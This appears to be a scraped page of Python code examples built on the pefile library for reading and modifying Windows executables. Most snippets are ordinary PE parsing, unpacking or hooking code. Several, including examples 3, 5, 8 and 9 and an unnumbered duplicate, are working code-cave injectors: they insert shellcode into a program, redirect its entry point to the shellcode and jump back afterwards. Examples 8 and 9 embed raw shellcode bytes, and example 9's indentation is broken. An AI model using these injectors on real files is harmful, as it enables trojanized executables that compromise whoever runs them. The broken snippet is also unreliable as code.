Пример #1
0
def get_icon_group(pe_file: pefile.PE,
                   data_entry: pefile.Structure) -> Optional[list]:
    try:
        data_rva = data_entry.OffsetToData
        size = data_entry.Size
        data = pe_file.get_memory_mapped_image()[data_rva:data_rva + size]
        file_offset = pe_file.get_offset_from_rva(data_rva)

        grp_icon_dir = pefile.Structure(GRPICONDIR_format,
                                        file_offset=file_offset)
        grp_icon_dir.__unpack__(data)

        if grp_icon_dir.Reserved == 0 or grp_icon_dir.Type == 1:
            offset = grp_icon_dir.sizeof()
            entries = list()
            for idx in range(0, grp_icon_dir.Count):
                grp_icon = pefile.Structure(GRPICONDIRENTRY_format,
                                            file_offset=file_offset + offset)
                grp_icon.__unpack__(data[offset:])
                offset += grp_icon.sizeof()
                entries.append(grp_icon)
            return entries
    except pefile.PEFormatError:
        pass
    return None
Пример #2
0
 def _get_buffer_range_pe(self, pe: PEFile, address: int):
     base = pe.OPTIONAL_HEADER.ImageBase
     addr = self._rebase(address, base) - base
     offset = pe.get_offset_from_rva(addr)
     for section in pe.sections:
         if offset in range(
                 section.PointerToRawData,
                 section.PointerToRawData + section.SizeOfRawData):
             return offset, section.PointerToRawData + section.SizeOfRawData
     raise CompartmentNotFound(address, 'section')
Пример #3
0
def main(exe_file, shellcode):
    if not (os.path.isfile(exe_file)):
        print(
            "\nExecutable file cant detected ! \n Please try with full path.\n"
        )
        return False

    shellcode = shellcode.replace("\\x", "").decode("hex")

    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize
                 ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
    scode_size = len(shellcode) + 7

    if padd < scode_size:
        print("\nEnough space is not available for shellcode")
        print("Available codecave len : {0} \n").format(covecavelenght(pe))
        return False
    else:
        scode_end_off = e_offset
        scode_start_off = scode_end_off - scode_size
        pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(
            scode_start_off)
        raw_pe_data = pe.write()
        jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
        shellcode = '\x60%s\x61\xe9%s' % (shellcode,
                                          pack('I', jmp_to & 0xffffffff))
        final_data = list(raw_pe_data)
        final_data[scode_start_off:scode_start_off +
                   len(shellcode)] = shellcode
        final_data = ''.join(final_data)
        raw_pe_data = final_data
        pe.close()

        while True:
            final_pe_file = "{0}".format(str(randint(0, 999999999)))
            if not os.path.isfile(final_pe_file):
                break

        new_file = open(final_pe_file, 'wb')
        new_file.write(raw_pe_data)
        new_file.close()
        print("\nNew file : {0} saved !").format(final_pe_file)
        print('[*] Job Done! :)')
Пример #4
0
 def _pesize(self, pe: PE) -> int:
     overlay = pe.get_overlay_data_start_offset() or 0
     maxaddr = max(s.PointerToRawData + s.SizeOfRawData
                   for s in pe.sections)
     maxdata = max(
         pe.get_offset_from_rva(d.VirtualAddress) + d.Size
         for d in pe.OPTIONAL_HEADER.DATA_DIRECTORY)
     # The certificate overlay is given as a file offset
     # rather than a virtual address.
     cert = pe.OPTIONAL_HEADER.DATA_DIRECTORY[
         DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']]
     certend = cert.VirtualAddress + cert.Size
     self.log_debug(F'overlay at 0x{overlay:08X}')
     self.log_debug(F'maxaddr at 0x{maxaddr:08X}')
     self.log_debug(F'maxdata at 0x{maxdata:08X}')
     self.log_debug(F'certend at 0x{certend:08X}')
     return max(overlay, maxaddr, maxdata, certend)
Пример #5
0
        def inject():
            class NotEnoughSize(Exception):
                pass

            exe_file = res.BINARY
            final_pe_file = '{}_injected'.format(res.BINARY)
            shellcode = scode
            pe = PE(exe_file)
            OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
            pe_sections = pe.get_section_by_rva(
                pe.OPTIONAL_HEADER.AddressOfEntryPoint)
            align = pe.OPTIONAL_HEADER.SectionAlignment
            what_left = (pe_sections.VirtualAddress +
                         pe_sections.Misc_VirtualSize
                         ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
            end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
            padd = align - (end_rva % align)
            e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
            scode_size = len(shellcode) + 7
            if padd < scode_size:
                summary.append(
                    logs.err('Not enough size for shellcode injection',
                             prnt=False))
            else:
                #logs.good('Found {} bytes of empty space'.format(padd))
                scode_end_off = e_offset
                scode_start_off = scode_end_off - scode_size
                pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(
                    scode_start_off)
                raw_pe_data = pe.write()
                jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
                pusha = '\x60'
                popa = '\x61'
                shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa,
                                              pack('I', jmp_to & 0xffffffff))
                final_data = list(raw_pe_data)
                final_data[scode_start_off:scode_start_off +
                           len(shellcode)] = shellcode
                final_data = ''.join(final_data)
                raw_pe_data = final_data
                pe.close()
                new_file = open(final_pe_file, 'wb')
                new_file.write(raw_pe_data)
                new_file.close()
                summary.append(
                    logs.good('Succesfully injected shellcode', prnt=False))
def main( exe_file, shellcode):
    if not (os.path.isfile( exe_file)):
        print("\nExecutable file cant detected ! \n Please try with full path.\n")	
        return False

    shellcode = shellcode.replace("\\x", "").decode("hex")

    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
    scode_size = len(shellcode)+7

    if padd < scode_size:
        print("\nEnough space is not available for shellcode")
        print("Available codecave len : {0} \n").format( covecavelenght( pe))
        return False
    else:
        scode_end_off = e_offset
        scode_start_off = scode_end_off - scode_size
        pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
        raw_pe_data = pe.write()
        jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
        shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff))
        final_data = list(raw_pe_data)
        final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode
        final_data = ''.join(final_data)
        raw_pe_data = final_data
        pe.close()


        while True:
            final_pe_file = "{0}".format(str(randint(0, 999999999)))
            if not os.path.isfile(final_pe_file):
                break

        new_file = open(final_pe_file, 'wb')
        new_file.write(raw_pe_data)
        new_file.close()
        print ("\nNew file : {0} saved !").format( final_pe_file)
        print ('[*] Job Done! :)')
Пример #7
0
class PEFile(ExecutableFormat):
    bitnessMapping = None

    @classmethod
    def initClass(cls) -> None:
        cls.bitnessMapping = {
            pefile.OPTIONAL_HEADER_MAGIC_PE: 32,
            pefile.OPTIONAL_HEADER_MAGIC_PE_PLUS: 64
        }

    def __child_enter__(self) -> None:
        self.lib = PE(data=self.map)
        self.bitness = self.__class__.bitnessMapping[self.lib.PE_TYPE]

    @property
    def imageBase(self) -> int:
        return self.lib.OPTIONAL_HEADER.ImageBase

    def findVA(self, name: str) -> typing.Optional[int]:
        """Gets a symbol addr from PE export table"""
        name = name.encode("ascii")
        for exp in self.lib.DIRECTORY_ENTRY_EXPORT.symbols:
            if exp.name == name:
                return exp.address + self.imageBase

    def raw2Offset(self, raw: int) -> int:
        return self.RVA2Offset(self.raw2RVA(raw))

    def RVA2Offset(self, rva: int) -> int:
        return self.lib.get_offset_from_rva(rva)

    def offset2RVA(self, offset: int) -> int:
        return self.lib.get_rva_from_offset(offset)

    def RVA2Raw(self, RVA: int) -> int:
        return self.imageBase + RVA

    def raw2RVA(self, raw: int) -> int:
        return raw - self.imageBase

    def offset2Raw(self, offset: int) -> int:
        return self.RVA2Raw(self.offset2RVA(offset))
Пример #8
0
    + "\x65\x58\x68\x61\x73\x20\x48\x68\x45\x53\x20\x57\x31\xc9"
    + "\x88\x4c\x24\x0b\x89\xe1\x31\xd2\x6a\x10\x53\x51\x52\xff"
    + "\xd0\x31\xc0\x50\xff\x55\x08"
)

if __name__ == "__main__":
    exe_file = raw_input("Enter Path To Exe File ")
    final_pe_file = raw_input("Enter Path To New Exe File: ")
    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
    scode_size = len(sample_shell_code) + 7
    if padd < scode_size:
        # Enough space is not available for shellcode
        exit()
        # Code can be injected
    scode_end_off = e_offset
    scode_start_off = scode_end_off - scode_size
    pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
    raw_pe_data = pe.write()
    jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
    sample_shell_code = "\x60%s\x61\xe9%s" % (sample_shell_code, pack("I", jmp_to & 0xFFFFFFFF))
    final_data = list(raw_pe_data)
    final_data[scode_start_off : scode_start_off + len(sample_shell_code)] = sample_shell_code
    final_data = "".join(final_data)
    raw_pe_data = final_data
Пример #9
0
"\x61\xff\xff\xff\x68\x21\x58\x20\x20\x68\x57\x30\x30\x74" +
"\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x65\x21\x58\x20\x68" +
"\x20\x48\x65\x72\x68\x20\x57\x61\x73\x68\x73\x69\x73\x68" +
"\x68\x44\x65\x62\x61\x31\xc9\x88\x4c\x24\x12\x89\xe1\x31" +
"\xd2\x52\x53\x51\x52\xff\xd0")
if __name__ == '__main__':
	exe_file = raw_input('[*] Enter full path of the main executable :')
	final_pe_file = raw_input('[*] Enter full path of the output executable :')
	pe = PE(exe_file)
	OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
	pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
	align = pe.OPTIONAL_HEADER.SectionAlignment
	what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
	end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
	padd = align - (end_rva % align)
	e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
	scode_size = len(sample_shell_code)+7
if padd < scode_size:
# Enough space is not available for shellcode
		exit()
# Code can be injected
	scode_end_off = e_offset
	scode_start_off = scode_end_off - scode_size
	pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
	raw_pe_data = pe.write()
	jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
	sample_shell_code = '\x60%s\x61\xe9%s' % (sample_shell_code, pack('I', jmp_to & 0xffffffff))
	final_data = list(raw_pe_data)
	final_data[scode_start_off:scode_start_off+len(sample_shell_code)] = sample_shell_code
	final_data = ''.join(final_data)
	raw_pe_data = final_data
Пример #10
0
def restore_pe(file,output):
    # PEfile isn't the best for this job, but we'll get it done ;)
    # TODO : Recaluclate SizeOfImage to match the acutal file
    from pefile import PE,OPTIONAL_HEADER_MAGIC_PE_PLUS
    print('[-] Loading PE...')
    pe = PE(file,fast_load=True)
    PE64 = pe.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS
    pe.__data__ = bytearray(pe.__data__) # This allows us to apply slicing on the PE data
    # Helpers    
    find_section = lambda name:next(filter(lambda x:name in x.Name,pe.sections))
    find_data_directory = lambda name:next(filter(lambda x:name in x.name,pe.OPTIONAL_HEADER.DATA_DIRECTORY))    
    # Data
    enigma1 = pe.__data__[find_section(b'.enigma1').PointerToRawData:]
    hdr = unpack(EVB_ENIGMA1_HEADER,enigma1,104 if PE64 else 76)
    # Restore section with built-in offsets. All these ADDRESSes are VAs
    find_data_directory('IMPORT').VirtualAddress = hdr['IMPORT_ADDRESS']
    find_data_directory('IMPORT').Size = hdr['IMPORT_SIZE']
    find_data_directory('RELOC').VirtualAddress = hdr['RELOC_ADDRESS']
    find_data_directory('RELOC').Size = hdr['RELOC_SIZE']
    print('[-] Rebuilding Exception directory...')
    # Rebuild the exception directory
    exception_dir = find_data_directory('EXCEPTION')    
    exception_raw_ptr = pe.get_offset_from_rva(exception_dir.VirtualAddress)
    exception_data = pe.__data__[exception_raw_ptr:exception_raw_ptr + exception_dir.Size]    
    exception_struct = PE64_EXCEPTION if PE64 else PE_EXCEPTION
    exception_end = 0
    for i in range(0,exception_dir.Size,get_size_by_struct(exception_struct)):
        block = unpack(exception_struct,exception_data[i:])
        block['section'] = pe.get_section_by_rva(block['BEGIN_ADDRESS'])
        exception_end = i
        if b'.enigma' in block['section'].Name: 
            break
    exception_data = exception_data[:exception_end]
    # Prepare partial TLS data for searching
    tls_dir = find_data_directory('TLS')    
    tls_raw_ptr = pe.get_offset_from_rva(tls_dir.VirtualAddress)
    tls_data = bytearray(pe.__data__[tls_raw_ptr:tls_raw_ptr + tls_dir.Size])    
    original_callback = hdr['TLS_CALLBACK_RVA'] + pe.OPTIONAL_HEADER.ImageBase
    original_callback = struct.pack('<' + ('Q' if PE64 else 'I'),original_callback)
    if (PE64): 
        tls_data += original_callback       # AddressOfCallBacks
    else:
        tls_data[12:16] = original_callback # AddressOfCallBacks
        tls_data = tls_data[:16]
    # Destory .enigma* sections
    pe.__data__ = pe.__data__[:find_section(b'.enigma1').PointerToRawData] + pe.__data__[find_section(b'.enigma2').PointerToRawData + find_section(b'.enigma2').SizeOfRawData:]
    # If original program has a overlay, this will perserve it. Otherwise it's okay to remove them anyway.
    assert pe.sections.pop().Name == b'.enigma2'
    assert pe.sections.pop().Name == b'.enigma1'
    pe.FILE_HEADER.NumberOfSections -= 2    
    # NOTE: .enigma1 contains the VFS, as well as some Optional PE Header info as descrbied above
    # NOTE: .enigma2 is a aplib compressed loader DLL. You can decompress it with aplib provided in this repo  
    if (exception_data):
        # Reassign the RVA & sizes    
        print('[-] Rebuilt Exception directory. Size=0x%x' % len(exception_data))
        # Find where this could be placed at...since EVB clears the original exception directory listings
        # PEs with overlays won't work at all if EVB packed them.
        # We must remove the sections and do NOT append anything new
        offset = 0
        for section in pe.sections:
            offset_ = pe.__data__.find(b'\x00' * len(exception_data),section.PointerToRawData, section.PointerToRawData + section.SizeOfRawData)
            if offset_ > 0: 
                # Check for references in the Optional Data Directory
                # The offset should not be referenced otherwise we would overwrite existing data
                for header in pe.OPTIONAL_HEADER.DATA_DIRECTORY:
                    if pe.get_rva_from_offset(offset_) in range(header.VirtualAddress,header.VirtualAddress+header.Size):                        
                        offset = 0
                        break
                    else:
                        offset = offset_                        
            if offset > 0:
                break
        assert offset > 0,"Cannot place Exceptions Directory!"
        section = pe.get_section_by_rva(pe.get_rva_from_offset(offset))
        print('[-] Found suitable section to place Exception Directory. Name=%s RVA=0x%x' % (section.Name.decode(),offset - section.PointerToRawData))
        pe.__data__[offset:offset+len(exception_data)] = exception_data
        section.SizeOfRawData = max(section.SizeOfRawData,len(exception_data))
        exception_dir.VirtualAddress = pe.get_rva_from_offset(offset)
        exception_dir.Size = len(exception_data)
    else:
        print('[-] Original program does not contain Exception Directory.')
        exception_dir.VirtualAddress = 0
        exception_dir.Size = 0
    offset = pe.__data__.find(tls_data)
    # Append the exception section and assign the pointers
    # Serach for TLS in memory map since it's not removed.
    tls_dir = find_data_directory('TLS')
    if (offset > 0):
        print('[-] TLS Directory found. Offset=0x%x' % offset)
        tls_dir.VirtualAddress = pe.get_rva_from_offset(offset)
        tls_dir.Size = 40 if PE64 else 24
    else:
        print('[-] Original program does not utilize TLS.')
        tls_dir.VirtualAddress = 0
        tls_dir.Size = 0
    # Write to new file
    pe_name = os.path.basename(file)[:-4] + ORIGINAL_PE_SUFFIX
    pe_name = os.path.join(output,pe_name).replace('\\','/')    
    new_file_data = pe.write()
    write_bytes(BytesIO(new_file_data),open(pe_name,'wb+'),len(new_file_data),desc='Saving PE')
    print('[-] Original PE saved:',pe_name)
Пример #11
0
class WSHInstrumentation(object):
    def __init__(self, libpath):
        self.libpath = libpath
        self.pe = PE(libpath)

        last_section = self.pe.sections[-1]
        # In case of uninitialized data at the end of section
        # Not needed now, so not implemented
        assert last_section.Misc_VirtualSize <= last_section.SizeOfRawData
        self.last_section = last_section
        # Set RWX
        self.last_section.IMAGE_SCN_MEM_WRITE = True
        self.last_section.IMAGE_SCN_MEM_EXECUTE = True
        # Move from mmap to str
        self.pe.__data__ = self.pe.__data__.read(self.pe.__data__.size())

    def next_rva(self):
        section = self.last_section
        return section.VirtualAddress + section.SizeOfRawData

    def append(self, data):
        section = self.last_section
        rva = self.next_rva()
        section.SizeOfRawData += len(data)
        section.Misc_VirtualSize = section.SizeOfRawData
        self.pe.__data__ += data
        return rva

    def align(self, alignment, padchar='\x00'):
        va = self.next_rva()
        pad = (alignment - va % alignment)
        self.append(pad * padchar)

    def rebuild_imports(self, routines):
        # Build string list
        rva_winedrop_dll = self.append("winedrop.dll\x00")
        rva_routine_str = []
        for r in routines:
            # hint (0) + name + terminator
            rva_routine_str.append(self.append('\x00\x00' + r + '\x00'))
        # 0x10 alignment
        self.align(16)
        # Build OriginalThunkList
        rva_oft = self.next_rva()
        for r in rva_routine_str:
            self.append(p32(r))
        self.append(p32(0))
        # 0x10 alignment
        self.align(16)
        # Build ThunkList
        rva_ft = self.next_rva()
        rva_iat = []
        for r in rva_routine_str:
            rva_iat.append(self.append(p32(r)))
        self.append(p32(0))
        # 0x10 alignment
        self.align(16)
        # Copy import table entries
        offs_imports = self.pe.get_offset_from_rva(
            self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress)
        rva_imports = self.next_rva()
        while True:
            entry = self.pe.__data__[offs_imports:offs_imports + 20]
            if entry[:4] == "\x00\x00\x00\x00":
                break
            offs_imports += 20
            self.append(entry)
        # Add winedrop.dll entry
        self.append(
            struct.pack(
                "<IIIII",
                rva_oft,  # OriginalFirstThunk
                0,  # Timestamp
                0,  # ForwarderChain
                rva_winedrop_dll,  # Name
                rva_ft))  # FirstThunk
        # Add import table delimiter entry
        self.append("\x00" * 20)
        # End of import pseudo-section
        self.align(0x200)
        # Fix data directory and finish!
        self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].VirtualAddress = rva_imports
        self.pe.OPTIONAL_HEADER.DATA_DIRECTORY[1].Size += 20
        # Fix SizeOfImage
        sizeOfImage = self.last_section.VirtualAddress + self.last_section.SizeOfRawData
        self.pe.OPTIONAL_HEADER.SizeOfImage = sizeOfImage + (
            4096 - sizeOfImage % 4096)
        # Return IAT entries for each imported routine
        return rva_iat

    def add_trampolines(self, iat):
        """
        Assume that we're hooking function with signature "int __stdcall fn(a,b,c)".
        After CALL to trampoline, stack looks like:
            fn_ptr
            callee_ptr
            a
            b
            c
        We will swap last two elements:
            callee_ptr
            fn_ptr+2
            a
            b
            c
        So now we're effectively calling "int __stdcall hook_fn(orig_ptr, a, b, c)" with callee_ptr as return address.
        """
        tramp_code = ''.join([
            "\x58",  # pop eax
            "\x83\xc0\x02",  # add eax, 2
            "\x87\x04\x24",  # xchg [esp], eax
            "\x50",  # push eax
            "\xe8\x00\x00\x00\x00",  # call $+5
            "\x58",  # pop eax
            "\xff\xa0"  # jmp [eax+...]
        ])
        tramp_edx = len(tramp_code) - 3
        tramp_rva = []
        for va in iat:
            tramp_rva.append(
                self.append(tramp_code + p32((va -
                                              (self.next_rva() + tramp_edx)))))
            self.align(16, '\xcc')
        self.align(0x200)
        return tramp_rva

    def hook_patch(self, patch_va, tramp_va):
        patch_offs = self.pe.get_offset_from_rva(patch_va)
        # Is it "hookable" function prologue?
        assert self.pe.__data__[patch_offs - 5:patch_offs +
                                2] == "\x90\x90\x90\x90\x90\x8B\xFF"
        # Apply hook patch (jmp backwards, call to tramp_va)
        data = bytearray(self.pe.__data__)
        data[patch_offs - 5:patch_offs + 2] = "\xe8{}\xeb\xf9".format(
            p32(tramp_va - patch_va))
        self.pe.__data__ = str(data)

    def write(self, fname):
        self.pe.write(fname)